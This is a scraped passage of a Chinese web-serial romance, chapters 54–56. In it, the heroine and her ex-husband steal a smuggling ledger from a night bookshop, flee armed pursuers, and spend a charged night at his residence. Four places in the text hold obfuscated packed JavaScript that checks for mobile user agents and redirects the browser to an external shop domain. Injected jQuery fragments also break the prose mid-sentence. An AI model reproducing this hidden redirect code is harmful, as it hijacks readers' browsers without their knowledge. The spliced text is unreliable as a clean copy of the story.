d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997867|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哦,我有点耳背。”魏巍暗喜。 画舫最终还是靠岸了。下船时,魏巍亲自扶她:“小心,你眼神不好,别踩空。” “你才眼神不好!”她斥道。 他怎么连话都不会说了?魏巍这才发现自己面对喜欢的人是这么愚笨。 回府路上,魏巍眉飞色舞的神情藏也藏不住。 “看来这趟大人没白来。”芊芊捂嘴笑。 “有吗?”魏巍问她。 “那可不,司马大人的脸色都不正常了。” 魏巍哼了一声,一会儿才承认说:“这次我终于明白了如何与婳儿相处。” 芊芊道:“如何?” 魏巍告诉她:“她喜欢坦诚的人。那个崔严她再看不上,也会被他每日到访的请帖所感动。” 所以,他这次才要真诚道歉说明一切,对耿婳表明心迹。以后,更要坦荡真诚地追求她。这样坚持下去,一定能让她回心转意。他曾经就让耿婳为之倾倒过一回,如今他有这个自信。 芊芊和玄海都为他高兴。 “那下一步,大人打算怎么办?”玄海问。 “继续尝药,早日将眼药制成送给婳儿。” 芊芊惊道:“您还要尝药?” 玄海说:“还是小人帮您尝吧。上回您中了毒,昏了两天两夜才醒!” “不必!这是我欠婳儿的,自然要我亲尝汤药。”他这些天忙完正事就在家研制眼药,已然成了个大夫。 这些时日大大小小的方案都试验过,魏巍已经得出了最佳的研制方法。这一次势必能很成功! 他一定要赶在七夕前制成药,这要就能作为礼物在七夕之夜送予她。 自从湖心亭一夜后,魏巍自信了许多,对待耿婳的感情上也更加真挚。这些天除了忙着做药,也会花时间去约耿婳出门。 这方面他学着崔严,给够了耿婳排面。他会选择最好的宣纸写下请帖并赋诗一首,以表真情。 人非草木,耿婳怎能体会不到他的真心。魏巍明白她的心思不在男欢女爱之上,每每聊天都发乎情止乎礼,多以婳坊生意作为切入。 “我托京城的官员找到这部护肤秘本,若是对耿儿有用,那就太好了。” 耿婳欣然接受他的礼物,也不忘问问他阿沁的事。 “如今魏府管家的是柳惜君,我怕打草惊蛇之前没有细问魏嵘。这次他来信,说七月底有时间会来扬州看望我。听说他有个新纳的小妾,就唤作阿沁。” 耿婳眯眼问:“你确定?” “确实。我之前旁敲侧击,打听过阿沁这个丫鬟。他支支吾吾不说,后来我软磨硬泡他才说出实情。”魏巍告诉她,“魏嵘说她之前是你的陪嫁,后来跟了柳惜君,如今被他纳入侧室,柳惜君很生气。” 耿婳回忆起阿沁那丫头,虽然性子低劣却会攀高枝,长得确实也有几分姿色。 是她准没错! “你让他们同来!”耿婳即刻说。 她都发话了,魏巍岂能不照做。 “好,魏嵘也想把她带过来。因为柳惜君这个管家婆不喜欢阿沁,他在家总要看正妻脸色,这次来扬州说是看我,实际上也是想和阿沁幽会。” 耿婳顺着幽会二字想到了男女交合的场面,瞬间恶心到反胃。 这么令人讨厌的事情,怎么人人都爱做? 54. 054 眼看着七夕就要来临,耿婳忙着趁节日推出新品,好好赚一笔。 自从被魏巍道破伍听肆的事后,她好几天都找借口不想见他。她不是讨厌伍听肆,只是再见到他没了朋友间那种亲密无间的坦诚。 耿婳为此专门骂了说闲话传八卦的阮若等人。以至于这段时间哪怕伍听肆来婳坊,她们都不敢随便开玩笑了。 伍听肆也发现了其中古怪,耿婳见了他照旧开心,但是礼貌中多了份客气。这让伍听肆十分别扭。 他本来想问,但又不知如何开口,这次只邀请她七夕晚上去看花灯。 耿婳当然要拒绝,上次崔严就是例子。越是答应越容易让人产生误解。她不想这样。 但若直截了当拒绝伍听肆,她也做不到。 “阮若她们也嚷嚷着说去看花灯呢,不如这样,我们一起去得月楼搓一顿,我请客,吃完看花灯打牌听曲!人多才热闹呀,你说呢?” 她不想让伍听肆难堪,这么说正好给他台阶下。面对熟悉的人,她不会售出不好听的话。不然人家不高兴了,她也会尴尬。 对伍听肆尤其如此。这些年她能从泥潭里爬出来,全靠伍听肆的帮忙。在他面前,她总有种“吃人嘴短,拿人手软”的内疚。 况且她的朋友少得可怜,伍听肆是最值得信任的挚友,她不想失去这个像哥哥一样的好朋友。 伍听肆端详着她,表情不辨悲喜。 “好呀,我们一起,人多热闹!”他答应得很痛快,耿婳松了口气。 *** 梅雨天雾蒙蒙的,还伴着夏日的湿热,这些天各家店铺的生意都不太好。耿婳乐在其中,正好趁着这个机会研究新品,翻阅书籍查找资料。 午后大雨磅礴,耿婳坐在前台看书,一会儿熟悉的脚步声从外面传来。 “这么大的雨都拦不住你?”她一抬眼,就看到收伞的魏巍。 这些天,他常常来耿婳店里,不是给她送好吃的,就是送好玩的好看的。有的东西耿婳喜欢,有的东西嗤之以鼻。就比如前天他从市集上淘来的话本子,耿婳看也没看就扔给了阮若和芊芊。 耿婳为他这种直球一般的追求方式无可奈何,但她并不尴尬,反而欢迎他来。她决心想让自己内核更稳,心理更强大,那就势必需要忘记原来的不堪,势必要将原来波动情绪和心弦的人看作寻常过客。 她如今对魏巍就是这种看法。只有这般不在意,才能让曾经的伤口尽快愈合。 魏巍对耿婳这种无所谓的态度已经很满足了。他今天穿了一件玄袍,怀里揣着个包裹,看来又给她送礼物来了。 “这是我托魏嵘捎来的书,里面西域香粉的制法。” 耿婳收了书。她对外人送的礼物不会有任何愧疚,商人当久了她脸皮也厚了。但耿婳觉得这样反而好,毕竟不吃亏。 “奇怪,里面这些文字是?”耿婳翻着书,不明白了。 “里面是波斯文、大食文。需要翻译。”他趁耿婳翻脸前说,“扬州湖心亭岸边那家书店里专门卖西域书的译本,我和你一起去找。” 魏巍顿了顿,又说:“我想和你七夕一起去看花灯,一起去找译本。” 耿婳说:“可我七夕约了别人。再说,找书什么时候不好,非要等到七夕。” “我打听过了。那家店古怪得很,说是翻译艰辛运输不易,每隔十天半个月才开一次店,每每都是晚上营业。” 魏巍继续解释:“下次营业是七夕夜里,我这才想和婳儿一起去。毕竟晚上你一个人去也不方便,万一遇上歹人可怎么办。” “亏你想得周密。”耿婳说。 魏巍见她还没打算解释,憋在心里不好受,这才问她:“请问婳儿七夕要和谁出门?” “这是我的私事吧。”耿婳反问,“芊芊没告诉你吗?” “以后你我的事,我会亲力亲为。”魏巍说。 耿婳惊诧,问:“那你还让芊芊在我店里待着。” “她无家可归,是个可怜人。”魏巍朝耿婳作长揖,“请耿掌柜务必收留她。那丫头为人忠心,并无劣迹。” 芊芊的勤劳善良耿婳当然比魏巍清楚。可魏巍刚才的话让她心生触动。他说他要亲力亲为,从他的行动来看,也确实如此。 耿婳知道他的为人,他决心要做的是必然有始有终,绝不半途而废。 于是耿婳回答说:“我约了店里人和伍听肆,我们一起喝酒玩牌。” 知道她没和伍听肆单独去玩,魏巍松了口气。自从知晓耿婳对伍听肆是友谊后,他安心了不少。 “湖畔书店是七夕子时开店,卯时打烊。” 耿婳感慨:“和晓市一样呀。” 魏巍欲言又止,顿了顿说:“时间冲突吗?” 耿婳说:“冲突倒是不冲突。但白天我要营业卖新品忙一整天,晚上还要去得月楼喝酒。要是休息不好,精神肯定缓不过来。” “我们就去一会儿,拿到译本就走,耽误不了多久。我亲自护送你回婳坊,加上来回最多耽误一个时辰!”魏巍道。 “不成不成,等七夕过了下次营业再去拿译本。”耿婳故意这么说。 魏巍神色果然不对,耿婳直接问:“你是不是有事瞒我?” “婳儿果然聪慧。”魏巍回道,“刚刚你不是也怀疑了吗,他家书店的营业时间和晓市相同。” “你的意思是,这家店和晓市暗通?”耿婳惊道。一想到晓市,她就想到了紫檀木走私的事。 “我听魏嵘说,但凡繁华些的城市都有晓市这种见不得光的地盘。他上个月在京城打听走私紫檀的事,无意间听说了这家湖畔书店。这本记载西域香粉的书籍是他费尽周折才找到的,听京城想要私下买紫檀的人说,拿这本书去书店能换到凭证。” “如此一来,走私紫檀的货单就唾手可得?就算找不到全部的,也能搜刮些零头。”耿婳摸着下巴,“那家指定有问题,你怎么不早说!” 魏巍忙看了眼门窗外,示意她小声些。 “湖畔书店是用来打掩护的,但这么多年对外营业是正常运行,你想买的译本还能买到。如此一举两得,岂不美哉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009969|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 耿婳又问:“你之前不想让我蹚浑水,极力阻止还来不及。现在怎么肯拉我下水找证据了?” 魏巍道:“我知道拦不住你,那还不如在过程中保护你。我不想扫你的兴。” 自从那天画舫上吐露心声后,他示好的方式果然有所变化。 耿婳欣慰道:“算你识趣。这些年来,王绅没少搜民脂民膏,背地里干的坏事连他老婆都不知情!要是能扳倒他,也算为扬州城除害!” 魏巍笑道:“婳儿正义凛然,不愧女中豪杰。” “少拍马屁。”耿婳笑了,她如今凑近看魏巍,才发现他和平时有点不一样。 原来眼上常备的黑眼圈淡了,这是有意摸了云母粉。头发上挂着龙须刘海,这是在模仿少年郎的流行发型。 “你笑什么。”魏巍问。 耿婳皱皱鼻子,“这么大岁数了,还装嫩。” “你要是愿意多笑笑,我情愿一直这样。”魏巍知道她的笑容里带着嘲讽,但是即使这样,他也愿意。 “这个送你。”魏巍拿出了真正的礼物。 “本来想七夕给你,但一想七夕那天你一定很忙,所以提前送过来。” 耿婳看着他递过来的两个药盒。 “一个外敷,一个内服,是专门治眼睛的。”魏巍说,“之前你为我做靴缝荷包熬坏了眼睛。这是我的罪孽,我必还你一双明目。” “你放心,治眼睛的医书是我从太医院的老医师那里讨来的。后来我多次修改药方,回回试验,得出了最佳方案。你放心使用即可。” 魏巍说着,从怀里掏出一盒糖果,“内服的药丸很苦,配着奶糖吃就不苦了。” 耿婳听他事无巨细的说完,拿着精美的药盒,只觉得手中沉甸甸的。她一时哑然,却不愿对他吐露太多情绪。 “这你是应该给我的,我才不会感谢你。”过了许久,她倔强地说。 “我不敢求你感谢,只求你原谅我。当然我知道我还有很多做得不好的地方,我还有很多罪孽没有赎回,我以后会做得越来越好的,只要你愿意给我机会。”他说得不疾不徐,眼眸湿润发红。 耿婳握紧手中药盒,忽而想到之前在相府受得罪。心里一阵难受,这种难受的感觉很复杂,不仅仅是回忆过去产生的痛恨苦楚,还有对魏巍制药的不可思议和感动。 须臾,她不允许自己有这么强烈的情感波动和心理挣扎。耿婳强迫自己从难过的情绪中走出来,她必须成为一个强大而稳重的人。因为往后余生,她要独自应对。 “那就这么说好了。七月初七的子夜,我们去湖畔书店。”她颔首答应。 说完这事后,魏巍没了继续逗留的理由。 “这药大致能用一个月,等没了你再告诉我,我会一直制药,直到你眼睛恢复。”魏巍嘱咐,“如果用着有异样,即使告诉我,但你放心,十有八九不会出事。我都试过了才敢拿给你的。” 他说完没再矫情,告别耿婳撑伞踏进雨幕里。 耿婳望着他离去的背影,垂眸望着药盒,久久不能平静。 55. 055 七夕前一天,耿婳早早把两家店的要上新的货品归置好,为了迎合乞巧的噱头还专门绘制了鹊桥图案的彩带装饰在窗棂上。 今天晚上她要同魏巍去湖畔书店。上次去晓市的见闻耿婳并未同紫殷阮若等人说起,就连伍听肆也问不出来。她不想让大家担心,就没把张别驾和走私紫檀的事情说出来。 这次出门,耿婳也悄咪咪的。她穿了平时从不会穿的黑灰相间的衣裙,还带了同色帷帽,打扮得神秘兮兮。 她和魏巍约好亥正出发,可下楼却犯了难。紫殷素来警觉,如果通过楼梯下去,她一定会惊醒紫殷的。 耿婳一切准备妥当,正打算小心翼翼踮着脚尖偷偷开门溜出去,结果“匡”一声不大不小的动静敲响了她的窗户。 随后一个人影出现在灰白的窗纸上,“婳儿,婳儿?” 魏巍的声音出现在那边,他犹豫了一下,随后指节敲响窗棂,低声唤着她的名字。 “是你?”耿婳惊魂未散,确定那是魏巍后,慢慢支开窗户。魏巍轻衣箭袖,头戴斗笠,腰间佩刀,一副游侠打扮。 “快,从这里下来。”魏巍低声。 耿婳低头一看,他正站在一架长长的木梯上,地面上是驾驶马车的玄海。他和魏巍一样,专门乔装打扮了一番。 “好。”耿婳犹豫了一下,她有些畏高。 魏巍往下走了两级梯子,身手去扶她。耿婳愣怔一会儿,对上魏巍坚定沉稳的目光。她颤巍巍递过手去。 冒着冷汗的柔夷微凉,被温暖的大手包裹住的瞬间,耿婳心神镇静下来。 “慢一点,别怕。先伸右腿,我扶着你。” 耿婳悄悄将身子挪到木梯上,魏巍一手扶她,另一手在她后腰附近虚扶着。 “站稳了吗?” “我自己来。”耿婳松了他的手,两人慢慢下了梯子。 木梯陈旧,有些木头已经半腐。两人同在上面,吱吱呀呀的声响在夜晚被无限放大。耿婳忐忑地朝店里望去,还好没有吵醒紫殷阮若等人。 她心不在焉之际,脚下踩空,惊慌失措间身体失去平衡,她忍住尖叫的冲动,从梯间坠落。 下一秒,耿婳落到一个温暖坚实的怀抱里。魏巍刚从梯子上下来,就捞住跌倒的她。 耿婳抚着胸口,惊魂未定。魏巍等她平静后,才慢慢扶她站稳。 玄海下车撤走木梯。 “你可真够鬼祟的。”耿婳上了马车后,才敢大声说话。 她环顾四周,车厢极其窄小,看上去只能容纳一人。她只好和魏巍一起挤在座位上,肩头难免挨靠。 马车颠簸驶出吉庆街,耿婳忍不住说:“还好我晚上吃得少,不然都得吐出来。” “忍耐一下,这车是同这身行头一起租借的,还有那把破木梯。”魏巍解释,“去湖畔书店的多为江湖流浪客,我们必须乔装。” 耿婳不想再理他。 破旧的马车颠簸了一路,车厢内漆黑一片,漏洞的窗纸随晚风呼呼作响,打在窗牖上“啪嗒啪嗒”的,阴森至极。 到了湖畔,玄海将马车停在不起眼的胡同口。耿婳一阵眩晕,软绵绵靠在了魏巍肩头。 “怎么了,不舒服么?”魏巍悄声问。 耿婳眯着眼睛:“有点晕。” 魏巍开窗通风,轻轻给她按揉太阳穴。 “好点了吗?”他问。 耿婳吹了会儿凉风,脑袋清醒多了。她穿得单薄,打了个冷颤。魏巍关上窗子,把提前准备的斗篷披在她身上。 过了许久,耿婳恢复过来,问:“是不是到时候了?” 魏巍说:“再等等。” 玄海下车去探查,片刻后回来隔着车帘回复:“大人,那家书店已经点灯营业了,刚才湖心亭上泛舟的人上岸进店了,看着像是顾客。” “不急,等没人了再去。” 耿婳从怀里掏出魏巍送的书,低声问:“上回听你的意思,这是得到译本的凭证,也是京城那边走私紫檀的信物?” 魏巍说:“对,这是魏嵘从大理寺少卿刘理家里找到的。如果真能在书店找到物证,定能一举扳倒保守党。” 耿婳回忆起三年前开始的朝堂争斗,思索说:“你想拔出萝卜带出泥?刘理和王司空蛇鼠一窝,估计都不干净。” “婳儿聪慧。” 耿婳又说:“你弟弟胆子够大,居然能找到这么重要的东西。” “他也是冒险而为,刘理现在一定发现此物被盗,早晚都会彻查。魏嵘最新的回信说,他打算离开洛阳暂避一阵,来扬州找我散心,顺便交换情报。” “阿沁来吗?”耿婳问。 魏巍迟疑一会儿,说:“会来。” “你是怕我加害阿沁吗?”耿婳笑了。 “你要是想害她,我拦也拦不住。”魏巍无奈说。他和阿沁没有任何交情,只是如果耿婳要带走阿沁,他不知该如何给魏嵘交待。 “就怕刘理派人来扬州通气,万一撞上了怎么办?”耿婳心思缜密,正思索着,玄海回来说那伙人刚刚离开。 “我隔窗偷听,那几位客人是幽燕人士,和咱们无关。” 魏巍和耿婳下了马车,整理好兜帽和斗笠才迈进店里。 店主是个容貌奇异的西域人。 “有何贵干?”他语调古怪,听着极不舒服。面对上门的客人,连眼皮子都不抬一下,只在柜台前跷二郎腿嗑瓜子。 魏巍没理会他的服务态度,把手里书交给他:“还译本。” 那人看了眼书册,眼睛一亮,立刻恭顺作揖,凑近说:“就最里面柜子里第三排。” 说完,眼神示意耿婳和魏巍进去找。 “你在门口盯着。”魏巍耳语嘱咐玄海。 书屋里空间很小,长长的柜子耸立到天花板上,将屋子隔绝成一道道一人宽的过道,人走在里面就好像进了迷宫。 厚实的书籍密密麻麻排列整齐,散发出纸张和尘土融合而来的霉味。四周昏暗,每隔十步挂着一盏暗黄灯笼。 耿婳目力本就不好,只能尾随魏巍,小手揪着他的革带。 魏巍在最里面的书架找到了译本,耿婳拿过最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023687|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的一盏灯笼,两人借着微光翻阅。书的中间一页,很明显有隔痕,里面夹着一张厚实的牛皮纸。 展开后,魏巍看到里面的内容:紫檀木十箱送至少卿府,五箱送至司空府。银两共计十五万两纹银,预计于七月初十自水路运到晓市。 上面公然印着刘理的私印。 他和他外公王司空都在为走私紫檀买账! 正此时,外面传来急匆匆的脚步声。安静的书店里响起粗声的询问:“给书!” 西域店主颤巍巍说:“这位爷,按规矩您得给信物啊!” 似有金属开刃的声响,旋即传来店主恐惧的叨扰声。 “怎么回事?”耿婳慌道。 “嘘。”魏巍一边做手势,一边将牛皮纸连带译本一起塞到怀里,又将耿婳手里的原本放回书架。 此刻书柜那头人已经朝里面走来,店门外传来夸张的咳嗽声。魏巍能够认出这是玄海的声音,他在提醒他们。 魏巍拉着耿婳的手往外走,厚实的书架如迷宫一般,他只能靠着玄海的声音辨别出口。 后面传来了翻阅的声音,“不好!这书被人换了!” “那里!那里有光!什么人?!” 耿婳吓得忙把手里灯笼扔掉,她能清晰地听到后面男人持刀追赶的动静。魏巍拉着她大步向前,可宽大拖沓的斗篷偏偏碍事,她一不小心拖地的斗篷绊了一脚。 “啊。”她发出一声嘤咛。 “在那儿!抓住他!”后面的人立刻上来,揪住她的衣服。 魏巍拔出腰间横刀,用力一挥。随着后人的惨叫声,一只血糊糊的断手落到了地上。陌生男人应声倒地,堵在了窄小的通道上。 他后边的同伙跑得太急,被他绊倒。 耿婳从未见过这么凶残的画面,斗篷后摆被这人压着,她望着那摊血水吓软了双腿。 “脱了!”魏巍说罢,撤下她的斗篷,一把罩在那群人的头上。 他拉起耿婳继续往外跑,直到迎面看到玄海。 “大人先走,小的断后。”他掩护魏巍和耿婳离开,拔出烟雾弹,将书店里闹得昏天黑地。 玄海随后小跑上马车,魏巍隔着帘子吩咐:“回府。” 马车抄小路朝魏巍府邸驶去。 耿婳惊魂未定,帷帽被魏巍摘下,发髻上还粘满汗水。她不敢再想刚刚看到一幕,她隔着纱幔都能感觉到那些人的凶神恶煞。他们提刀而来,一副要她偿命的架势。 她从追踪紫檀走私起,从未想过自己会染上杀身之祸。 魏巍静静将她圈在怀里,为了让耿婳不再颤抖,大手轻轻抚摸单薄的后背。 他腰间的刀还染着血。这一身的行头都是旧的,唯有这把开刃的横刀货真价实,用它防身再好不过。 马车停在院里时,耿婳好像睡着了。魏巍抱她出来,子夜的晚风甚是凉爽,吹在身上飕飕的。耿婳缩了缩身子。 “醒了?”魏巍问。 “我就没睡。”她刚刚好像晕过去了。 魏巍忘记问了,她或许是第一次见血。 56. 056 魏巍抱着耿婳进了内室,让玄海先去备水。 耿婳缩在罗汉榻上,久久不能平静。魏巍摘下斗笠,沏了杯热茶递过去。 耿婳握着氤氲热气的茶杯,慢慢缓过劲儿来。再抬头,魏巍从西间出来,换了一身便服。 “没事吧,婳儿。”他有些自责,又道,“我不知道会那么危机,早知如此,我绝对不会让你涉险。” 耿婳摇头说:“是我决定要去的,只要拿到了凭证,就不算白跑一趟。” 魏巍拿出牛皮纸放于小案上。 “这是走私货单。”魏巍说,“安全起见,先放我这里保管。” “那他们岂不会来找你灭口?”一想到那些持刀的黑衣人,耿婳心跳如鼓。 “他们没看到我的脸。”魏巍又补充说,“放心,你戴着帷帽,他们也没看见你。你安心做生意,不用多想。” 耿婳知道他在哄她,又说:“你也要注意,万一被发现可就危险了!” “又急出汗来了。”魏巍抬手要去给她擦,耿婳接过手帕自己动手。 “你放心,我们假扮成江湖中人,他们不会认出来。那身行头连同马车都会被烧掉,不会留下任何痕迹。没人会找到我们这里来。” 魏巍越说,耿婳越不安。她一边思考一边说:“这说明刘理已经知道货单被偷,所以派人来书店直接索取。谁知道碰到了我们两个,他们发现是我们偷走了证据,一定会赶尽杀绝。” 魏巍说:“凭证在我手中,要杀也是杀我。” “闭嘴!” 魏巍乖乖听话闭嘴。耿婳惶恐的事,他却司空见惯,十多年的幻海沉浮,让他对这些明争暗斗十分熟稔。他早就不是第一次涉险了,难道害怕多一次? 只是看耿婳吓得不轻,他又自责起来。他考虑是否会被人发现,但没想到这么低概率的事竟然能被他撞上,真是倒了血霉。 耿婳嘬了一口茶水才缓过来。浑身热流涌入,她又有了力气。上一次见血还是目睹熹微姑姑的死。 她必须查明真相,那就意味着要让魏巍帮她寻到当年的陪嫁丫鬟阿沁。魏巍自然愿意配合。所以她提前帮他查明走私紫檀的 事就当还人情了。 “下一步你打算怎么办?”耿婳问。 “放饵,钓鱼。” 魏巍不急着上报朝廷,他要让张别驾假意入王刺史的阵营,从中钓到更多线索和把柄。他把想法告诉耿婳。 “上回在晓市见到张别驾买紫檀木,你的意思是他值得利用?万一他卖了你呢?” “他不敢。”魏巍笃定说,“他这种耿直一辈子的老实人,稍微做点偷鸡摸狗的事就会心虚内疚,胆小害怕。” 耿婳回忆说:“他想升职才买紫檀巴结王绅。你许诺他更大的官职,他要是帮得上你,自然不必再讨好王绅这种贪官。” 魏巍道:“是啊,有做好人的机会,谁愿意和恶势力掺和在一起?他本来就不是恶吏,所以在彻底投靠王绅前进了我的阵营,也算悬崖勒马。” “况且他有把柄在你手中。要是敢背叛你,他买卖紫檀的事儿就藏不住了。”耿婳点头说。 魏巍把牛皮纸收好,玄海从浴房出来。 “你先去。” 耿婳:“嗯?” “你先去洗。”魏巍又说。 耿婳没动,问他:“你想让我在此过夜?” “太晚了,你回去不方便,万一惊动了你那个凶神恶煞的店员,他恐怕又要提刀砍我。”魏巍说,“我去睡次间,不打扰你。” “好吧。”耿婳也困了,她没有扭捏,径直去了浴房。 她又不是第一次和魏巍同一个屋檐下休息了,这次连同榻都不会有,她有什么好在意的? 浴房里的耿婳迅速脱衣,泡进了宽大的浴桶中。温度适宜的热水贴合着皮肤,她舒服地靠在桶壁上,闭目养神。 等水温有些低的时候,她才意识到该起身出去了。 那身染了血迹和灰尘的衣袍早就脏了,耿婳忽而意识到,她没有带换洗的衣服,更连睡觉用的里衣都没有。 她看到墙壁旁的衣柜,想到里面或许有换洗的衣物。她出了浴桶,打开衣柜一阵失望,这是魏巍的地盘,里衣里裤都是他的款式,她套上去更不合适。 “你洗完了?” 室内静得出奇,魏巍在浴房门口等了好久。刚刚她起身时激起的水声闹出不小动静,魏巍这才问的。 耿婳僵在原地,听到近在咫尺的声音。她扭头一看,才踏实下来。 浴房和内室中间有屏风相隔,他是个知书达理之人,断然不会进来趁人之危。 “我帮你找了合适的衣服。”魏巍忙解释,“是从芊芊屋子里拿的。她也许穿过,但都是洗过的。” “没事,我不介意。”耿婳说完,又开始犯愁。她该怎么去取衣服。 离开温暖的浴水,□□的她浑身发凉,肌肤上挂着残留的水珠,再没衣服穿恐怕要受冻。 “我给你挂在屏风上,你记得拿。”魏巍说完,没听到回应。 “那我进去了?”他试探问。 “好。” 直到耿婳答应,他才进了浴房。隔着屏风,他看到一曲凹凸有致的修长身影,耿婳婀娜着身子等在对面。 魏巍喉里一痒,瞳孔沉了几分。 隔着屏风,他也没敢多看,忙把里衣挂在屏风上即刻离开。 耿婳擦干身子,抽过衣服穿好。她出了浴房,回到了架子床上,摘下帷幔后才说:“我好了,你去洗吧。” 魏巍去了浴房,路过架子床时,他没有瞥一眼。其实他应该让玄海来换水的,但是那厮万一瞥见床上的耿婳怎么办? 他选择用耿婳的洗澡水。 从浴房出来时,他换上了里衣,外面披着外袍。好巧不巧,一出来就看到耿婳从帷幔里探出小脑袋。 魏巍赶紧扭过去想把衣袍穿好。 “我又没看你。”耿婳坦荡说,“你那双靴子好眼熟。” 她刚刚就注意到了,刚刚探头就是看床下的这双旧皂靴。 魏巍顺着她的眼神望过去,这段时间梅雨天他怕靴子染水开胶,一直没穿。这次夜里行动本来想穿,怕出意外就作罢。 “看着有年头了。”耿婳俯视着这双皂靴,若有所思。 魏巍忙拿走这双靴子,生怕她睹物思怀,又想起以前难过的事。 他的这点心思怎么会骗得过耿婳,她哂笑说:“怎么,怕我掉眼泪?” “婳儿这么坚强的姑娘,怎么可能会垂泪。”魏巍和她相处久了,知道该说什么哄她开心。 “这双靴子针脚都歪了,你居然穿得下去。”耿婳嫌恶地说。 魏巍不确定她在嫌弃鞋,还是在嫌弃曾经那个卑微的自己。他道:“礼轻情意重,这是我最珍视之物。” 耿婳垂着头,没去看他的神色,更不会抬头让魏巍看到她的表情。 “我困了,你出去。” “好。”魏巍听话地走了。 耿婳抬头钻入帷幔,她躺在舒服的床褥上,望着黑漆漆的床顶,心里五味杂陈。她魏巍侧头翻身,感觉到枕下的不适。 耿婳掀开枕头,看到刚才咯到脑袋的东西。 两个四方小盒。这是她自己家做的产品,她再熟悉不过。 这两盒云母粉,一新一旧。耿婳摩挲着盒子,打开后看到有使用过的痕迹。 她不知不觉笑出了声。 第二日卯时已过,她立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028410|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒来。 今日是七夕,也是婳坊新品开售的日子,她必须马上去店里忙活。 魏巍提前一刻起床,等在门外。耿婳穿上他昨晚准备的衣裙,在铜镜面前怎么照怎么奇怪。 敲门声响起,“我可以进去吗?我要换衣。” “进来呀。”耿婳随口回复。 魏巍一进门就见到铜镜前的耿婳,她穿着芊芊黄绿相间的齐胸襦裙。这种配色的衣裙很显年幼,非常适合芊芊这种天真烂漫的女孩子。 耿婳容貌成熟,形体妩媚,塞在这件幼稚的衣服里,好像逼娼为良的狐狸精。 想到这个不雅观的词后,魏巍迅速骂了自己一句。他怎么能用娼妓和狐狸精来形容耿婳。 可偏偏芊芊比耿婳瘦小许多,衣裙的尺码也对不上。下身还好,反正都是松软的罗群。上半身齐胸的衣襟被勒得有些紧,耿婳感觉喘不过气。 魏巍没来由顺着她目光看过去,也感觉快喘不过气了。 “你还不去换你的衣服。”耿婳催他。 “噢。”魏巍去衣柜里取了一套,走进浴房去换。回来时,从铜镜旁看到自己的素颜。 他的黑眼圈一直很重,此刻看着狼狈,他庆幸刚刚耿婳没有抬头看他。 魏巍立刻去枕下翻找云母粉,又到一旁去涂。 耿婳扭头,见他坐在圈椅上,一手蘸着云母粉,一手提着小镜子,忙得不可开交。 她走近坐到旁边的圈椅上细细观察。 他上妆的手法是炸裂的。 耿婳震惊了一会儿,不怀好意地笑起来。 “你笑什么?”魏巍一边忙,一边问。 “我笑你这么大人了,连涂粉都不会。” 魏巍说:“我又不常常涂。” “那你今天非要涂。” “这不你在。” 耿婳:“……” 她一把抽过他手中小镜,看见魏巍迅速瞥了眼她的胸口又立刻垂下头。 耿婳得意地笑了。 “笨蛋,要我帮你吗?”她心情好,不怕耽误这点时间。 魏巍低头搓搓手,“如果你不嫌麻烦,当然可以了。” “这有什么麻烦的。”耿婳起身走到他对面,半蹲着拿起云母粉靠近。 “乖,不要乱动。” 这个角度很微妙,魏巍当然不敢乱动。不然可能会蹭到了她柔软又沉重的胸脯。 近距离看,他忽而怀念。三年前每每欢好,他都会忍不住揉捏亲吻这里。 魏巍闭上眼睛,喉结一滚,强迫自己不去想这些事。 “怎么了,我给你上刑呢?” “没有。”他一开口,才发现声音已经哑了。 耿婳轻巧熟稔地涂好云母粉,给他盖上眼下乌青。等她起身时,才发现魏巍额头上除了细密的汗。 “我走喽。”耿婳放下云母粉。 魏巍这才意识到什么,急忙起身追出去。 耿婳看见他手里拿着一个面纱很长的帷帽。 “你戴上它,我让玄海驾车送你回去。记得回去赶紧换件衣服。” 耿婳纳闷:“我知道你不想让别人看见我从你府里出来,但戴帷帽又乘车,岂不是多此一举?” 魏巍顿了一会儿,咕哝:“万一被人看到怎么办。” “什么怎么回事。”耿婳嫌他墨迹,转身要走。 “你先戴上,回去记得换件端庄点的衣裙,不然再遇上牛二那种人就不好了。”魏巍忙说。 耿婳这才意识到他的动机。 